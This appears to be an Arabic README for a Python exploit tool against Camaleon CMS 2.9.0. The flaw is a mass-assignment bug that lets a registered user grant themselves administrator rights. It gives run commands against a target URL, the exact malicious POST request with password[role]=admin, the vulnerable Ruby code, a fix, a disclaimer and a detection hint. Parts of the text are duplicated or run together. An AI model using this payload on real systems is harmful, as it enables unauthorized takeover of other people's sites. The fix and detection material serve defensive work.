
يستغل سكربت بايثون هذا ثغرة حرجة من نوع Mass Assignment في نظام إدارة المحتوى Camaleon CMS الإصدار 2.9.0، مما يسمح لأي مستخدم مسجّل بترقية صلاحياته إلى صلاحيات المسؤول.
تستغل هذه السكربتات بلغة Python ثغرة خطيرة من نوع Mass Assignment في نظام Camaleon CMS الإصدار 2.9.0، مما يسمح لأي مستخدم مسجّل بتصعيد صلاحياته إلى صلاحية مسؤول.
permit! في إجراء updated_ajax تسمح بتمرير جميع المعاملات دون تصفية، بما في ذلك معامل role/admin/users/[id]/updated_ajax مع حمولة خبيثة: (في السكربت استخدمت المعرّف 5 لأنه عادةً ما يكون المعرّف المخصص تلقائياً. قد يلزم تغييره.)
password[role]=admin - يجب أن تتم تصفية هذا المعامل، لكنه لا يُصفّى بسبب permit!password[password] و password[password_confirmation] - لتحديث كلمة مرور المستخدم (عندما يقوم مستخدم عادي بدور client بتحديث ملفه الشخصي، يكون المعامل تقنياً user[role]=client، ولكن لأننا نستغل هنا الثغرة الناتجة عن وظيفة تغيير كلمة المرور، سيكون المعامل password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: تعيين كلمة مرور جديدة أثناء الاستغلال (الافتراضي هو كلمة المرور الحالية)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
توجد الثغرة في إجراء updated_ajax في UsersController:
def updated_ajax
# كود معرض للثغرة - يستخدم permit! بدلاً من تصفية معاملات محددة
@user.update(params.require(:user).permit!)
# هذا يسمح بإسناد أي معامل بشكل جماعي، بما في ذلك role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
استبدل دالة permit! المعرضة للثغرة بتصفية معاملات صريحة:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# استبعاد معامل role بشكل صريح
end
هذا السكربت لأغراض تعليمية واختبار أمني مصرح به فقط. يرجى عدم استخدام هذا الاستغلال على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
يمكن لفرق الأمن اكتشاف محاولات الاستغلال من خلال مراقبة:
/admin/users/[id]/updated_ajax مع معامل password[role]